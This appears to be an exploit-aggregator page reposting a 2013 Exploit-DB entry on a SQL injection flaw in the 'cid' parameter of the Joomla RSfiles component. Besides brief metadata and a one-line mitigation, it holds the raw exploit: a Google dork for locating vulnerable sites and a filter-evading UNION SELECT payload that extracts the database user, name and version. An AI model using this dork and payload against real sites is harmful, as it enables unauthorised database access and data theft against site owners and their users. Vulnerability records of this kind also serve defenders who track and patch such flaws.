Joomla Component RSfiles - exploit.company

vendor:

RSfiles

by:

ByEge

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: RSfiles

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2013

Joomla Component RSfiles <= (cid) SQL injection Vulnerability

The Joomla component RSfiles is vulnerable to SQL injection. By manipulating the 'cid' parameter in the URL, an attacker can execute arbitrary SQL queries.

Mitigation:

Update to the latest version of the RSfiles component or apply a patch provided by the vendor.

Source

Exploit-DB raw data:

*******************************************************************************
# Title   :  Joomla Component RSfiles <= (cid) SQL injection Vulnerability
# Author  :  ByEge
# Contact :  http://byege.blogspot.com
# Date    :  18.03.2013
# S.Page  :  http://www.rsjoomla.com
# Dork    :  inurl:index.php?option=com_rsfiles
# DorkEx  :  http://www.google.com.tr/#hl=tr&sclient=psy-ab&q=inurl:index.php?option=com_rsfiles

Vulnerability : ?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--

[[SQL Injection Test]]]

http://server/?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--

*********************************
# Turkey.